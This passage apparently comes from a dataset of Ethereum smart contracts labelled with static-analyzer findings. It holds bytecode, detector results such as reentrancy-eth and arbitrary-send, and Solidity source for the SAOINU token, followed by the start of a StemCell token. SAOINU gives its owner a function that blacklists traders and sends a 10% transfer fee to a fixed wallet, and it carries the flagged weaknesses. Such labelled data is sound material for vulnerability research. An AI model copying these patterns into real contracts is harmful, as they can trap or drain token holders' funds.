6611466565b611401848484611489565b8061102a5761102a6005600855600a600955565b6000806000611422611580565b909250905061143182826113a7565b9250505090565b600081836114595760405162461bcd60e51b81526004016103cb91906119fa565b5060006110618486611b0a565b6008541580156114765750600954155b1561147d57565b60006008819055600955565b60008060008060008061149b876115c0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114cd908761161d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fc908661165f565b6001600160a01b03891660009081526002602052604090205561151e816116be565b6115288483611708565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156d91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061159b82826113a7565b8210156115b757505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006115dd8a60085460095461172c565b92509250925060006115ed611415565b905060008060006116008e87878761177b565b919e509c509a509598509396509194505050505091939550919395565b600061117c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611030565b60008061166c8385611af2565b90508381101561117c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cb565b60006116c8611415565b905060006116d68383611328565b306000908152600260205260409020549091506116f3908261165f565b30600090815260026020526040902055505050565b600654611715908361161d565b600655600754611725908261165f565b6007555050565b60008080806117406064610ab98989611328565b905060006117536064610ab98a89611328565b9050600061176b826117658b8661161d565b9061161d565b9992985090965090945050505050565b600080808061178a8886611328565b905060006117988887611328565b905060006117a68888611328565b905060006117b882611765868661161d565b939b939a50919850919650505050505050565b80356117d681611ba7565b919050565b6000602082840312156117ec578081fd5b813561117c81611ba7565b600060208284031215611808578081fd5b815161117c81611ba7565b60008060408385031215611825578081fd5b823561183081611ba7565b9150602083013561184081611ba7565b809150509250929050565b60008060006060848603121561185f578081fd5b833561186a81611ba7565b9250602084013561187a81611ba7565b929592945050506040919091013590565b6000806040838503121561189d578182fd5b82356118a881611ba7565b946020939093013593505050565b600060208083850312156118c8578182fd5b823567ffffffffffffffff808211156118df578384fd5b818501915085601f8301126118f2578384fd5b81358181111561190457611904611b91565b8060051b604051601f19603f8301168101818110858211171561192957611929611b91565b604052828152858101935084860182860187018a1015611947578788fd5b8795505b838610156119705761195c816117cb565b85526001959095019493860193860161194b565b5098975050505050505050565b60006020828403121561198e578081fd5b813561117c81611bbc565b6000602082840312156119aa578081fd5b815161117c81611bbc565b6000602082840312156119c6578081fd5b5035919050565b6000806000606084860312156119e1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2657858101830151858201604001528201611a0a565b81811115611a375783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad15784516001600160a01b031683529383019391830191600101611aac565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0557611b05611b7b565b500190565b600082611b2557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4457611b44611b7b565b500290565b600082821015611b5b57611b5b611b7b565b500390565b6000600019821415611b7457611b74611b7b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094c57600080fd5b801515811461094c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208495af6d86029cef945ed2b685a6abedf7df6e80ce8c65187596ee0e284f442464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
526
0x659fc165eced792c7766220095c8101cc2dd5044
/** *Submitted for verification at Etherscan.io on 2022-05-02 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SAOINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e7 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "SAO Inu"; string private constant _symbol = "SAOINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x607AF51591790639D64CcB333E252E78DA718994); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2e5 * 10**9; _maxWalletSize = 2e5 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610339578063b87f137a14610359578063c3c8cd8014610379578063c9567bf91461038e578063dd62ed3e146103a357600080fd5b806370a0823114610298578063715018a6146102b8578063751039fc146102cd5780638da5cb5b146102e257806395d89b411461030a57600080fd5b8063273123b7116100e7578063273123b714610207578063313ce567146102275780635932ead114610243578063677daa57146102635780636fc3eaec1461028357600080fd5b806306fdde031461012f578063095ea7b31461017157806318160ddd146101a15780631b3f71ae146101c557806323b872dd146101e757600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600781526653414f20496e7560c81b60208201525b604051610168919061197f565b60405180910390f35b34801561017d57600080fd5b5061019161018c366004611806565b6103e9565b6040519015158152602001610168565b3480156101ad57600080fd5b50662386f26fc100005b604051908152602001610168565b3480156101d157600080fd5b506101e56101e0366004611832565b610400565b005b3480156101f357600080fd5b506101916102023660046117c5565b61049f565b34801561021357600080fd5b506101e5610222366004611752565b610508565b34801561023357600080fd5b5060405160098152602001610168565b34801561024f57600080fd5b506101e561025e3660046118fe565b610553565b34801561026f57600080fd5b506101e561027e366004611938565b61059b565b34801561028f57600080fd5b506101e56105f4565b3480156102a457600080fd5b506101b76102b3366004611752565b610621565b3480156102c457600080fd5b506101e5610643565b3480156102d957600080fd5b506101e56106b7565b3480156102ee57600080fd5b506000546040516001600160a01b039091168152602001610168565b34801561031657600080fd5b5060408051808201909152600681526553414f494e5560d01b602082015261015b565b34801561034557600080fd5b50610191610354366004611806565b6106f3565b34801561036557600080fd5b506101e5610374366004611938565b610700565b34801561038557600080fd5b506101e5610753565b34801561039a57600080fd5b506101e5610789565b3480156103af57600080fd5b506101b76103be36600461178c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f6338484610b4d565b5060015b92915050565b6000546001600160a01b031633146104335760405162461bcd60e51b815260040161042a906119d4565b60405180910390fd5b60005b815181101561049b5760016006600084848151811061045757610457611b1b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049381611aea565b915050610436565b5050565b60006104ac848484610c71565b6104fe84336104f985604051806060016040528060288152602001611b6b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611064565b610b4d565b5060019392505050565b6000546001600160a01b031633146105325760405162461bcd60e51b815260040161042a906119d4565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057d5760405162461bcd60e51b815260040161042a906119d4565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105c55760405162461bcd60e51b815260040161042a906119d4565b600081116105d257600080fd5b6105ee60646105e8662386f26fc100008461109e565b90611124565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061457600080fd5b4761061e81611166565b50565b6001600160a01b0381166000908152600260205260408120546103fa906111a0565b6000546001600160a01b0316331461066d5760405162461bcd60e51b815260040161042a906119d4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e15760405162461bcd60e51b815260040161042a906119d4565b662386f26fc10000600f819055601055565b60006103f6338484610c71565b6000546001600160a01b0316331461072a5760405162461bcd60e51b815260040161042a906119d4565b6000811161073757600080fd5b61074d60646105e8662386f26fc100008461109e565b60105550565b600c546001600160a01b0316336001600160a01b03161461077357600080fd5b600061077e30610621565b905061061e8161121d565b6000546001600160a01b031633146107b35760405162461bcd60e51b815260040161042a906119d4565b600e54600160a01b900460ff161561080d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042a565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108483082662386f26fc10000610b4d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561088157600080fd5b505afa158015610895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b9919061176f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090157600080fd5b505afa158015610915573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610939919061176f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561098157600080fd5b505af1158015610995573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b9919061176f565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109e981610621565b6000806109fe6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a6157600080fd5b505af1158015610a75573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9a9190611951565b5050600e805465b5e620f48000600f81905560105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b1557600080fd5b505af1158015610b29573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049b919061191b565b6001600160a01b038316610baf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042a565b6001600160a01b038216610c105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042a565b6001600160a01b038216610d375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042a565b60008111610d995760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042a565b6000600a818155600b55546001600160a01b03848116911614801590610dcd57506000546001600160a01b03838116911614155b15611054576001600160a01b03831660009081526006602052604090205460ff16158015610e1457506001600160a01b03821660009081526006602052604090205460ff16155b610e1d57600080fd5b600e546001600160a01b038481169116148015610e485750600d546001600160a01b03838116911614155b8015610e6d57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e825750600e54600160b81b900460ff165b15610f8757600f54811115610ed95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042a565b60105481610ee684610621565b610ef09190611a7a565b1115610f3e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042a565b6001600160a01b0382166000908152600760205260409020544211610f6257600080fd5b610f6d42601e611a7a565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610fb25750600d546001600160a01b03848116911614155b8015610fd757506001600160a01b03831660009081526005602052604090205460ff16155b15610fe7576000600a908155600b555b6000610ff230610621565b600e54909150600160a81b900460ff1615801561101d5750600e546001600160a01b03858116911614155b80156110325750600e54600160b01b900460ff165b15611052576110408161121d565b4780156110505761105047611166565b505b505b61105f8383836113a6565b505050565b600081848411156110885760405162461bcd60e51b815260040161042a919061197f565b5060006110958486611ad3565b95945050505050565b6000826110ad575060006103fa565b60006110b98385611ab4565b9050826110c68583611a92565b1461111d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042a565b9392505050565b600061111d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113b1565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561049b573d6000803e3d6000fd5b60006008548211156112075760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042a565b60006112116113df565b905061111d8382611124565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126557611265611b1b565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112b957600080fd5b505afa1580156112cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f1919061176f565b8160018151811061130457611304611b1b565b6001600160a01b039283166020918202929092010152600d5461132a9130911684610b4d565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611363908590600090869030904290600401611a09565b600060405180830381600087803b15801561137d57600080fd5b505af1158015611391573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61105f838383611402565b600081836113d25760405162461bcd60e51b815260040161042a919061197f565b5060006110958486611a92565b60008060006113ec6114f9565b90925090506113fb8282611124565b9250505090565b60008060008060008061141487611537565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114469087611594565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461147590866115d6565b6001600160a01b03891660009081526002602052604090205561149781611635565b6114a1848361167f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e691815260200190565b60405180910390a3505050505050505050565b6008546000908190662386f26fc100006115138282611124565b82101561152e57505060085492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006115548a600a54600b546116a3565b92509250925060006115646113df565b905060008060006115778e8787876116f2565b919e509c509a509598509396509194505050505091939550919395565b600061111d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611064565b6000806115e38385611a7a565b90508381101561111d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042a565b600061163f6113df565b9050600061164d838361109e565b3060009081526002602052604090205490915061166a90826115d6565b30600090815260026020526040902055505050565b60085461168c9083611594565b60085560095461169c90826115d6565b6009555050565b60008080806116b760646105e8898961109e565b905060006116ca60646105e88a8961109e565b905060006116e2826116dc8b86611594565b90611594565b9992985090965090945050505050565b6000808080611701888661109e565b9050600061170f888761109e565b9050600061171d888861109e565b9050600061172f826116dc8686611594565b939b939a50919850919650505050505050565b803561174d81611b47565b919050565b60006020828403121561176457600080fd5b813561111d81611b47565b60006020828403121561178157600080fd5b815161111d81611b47565b6000806040838503121561179f57600080fd5b82356117aa81611b47565b915060208301356117ba81611b47565b809150509250929050565b6000806000606084860312156117da57600080fd5b83356117e581611b47565b925060208401356117f581611b47565b929592945050506040919091013590565b6000806040838503121561181957600080fd5b823561182481611b47565b946020939093013593505050565b6000602080838503121561184557600080fd5b823567ffffffffffffffff8082111561185d57600080fd5b818501915085601f83011261187157600080fd5b81358181111561188357611883611b31565b8060051b604051601f19603f830116810181811085821117156118a8576118a8611b31565b604052828152858101935084860182860187018a10156118c757600080fd5b600095505b838610156118f1576118dd81611742565b8552600195909501949386019386016118cc565b5098975050505050505050565b60006020828403121561191057600080fd5b813561111d81611b5c565b60006020828403121561192d57600080fd5b815161111d81611b5c565b60006020828403121561194a57600080fd5b5035919050565b60008060006060848603121561196657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119ac57858101830151858201604001528201611990565b818111156119be576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a595784516001600160a01b031683529383019391830191600101611a34565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a8d57611a8d611b05565b500190565b600082611aaf57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ace57611ace611b05565b500290565b600082821015611ae557611ae5611b05565b500390565b6000600019821415611afe57611afe611b05565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461061e57600080fd5b801515811461061e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d2a4481aa572298cffde6fd30b10a529148f4489a4f084512145ecfe549f88f264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
527
0x24e62f4b5b28b821f589a90307a9da21075522a6
/** *Submitted for verification at Etherscan.io on 2021-06-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = 0x50Ff3BA4Bb0e909c6B0C3B593746438170c4306f; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract StemCell is Ownable, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * 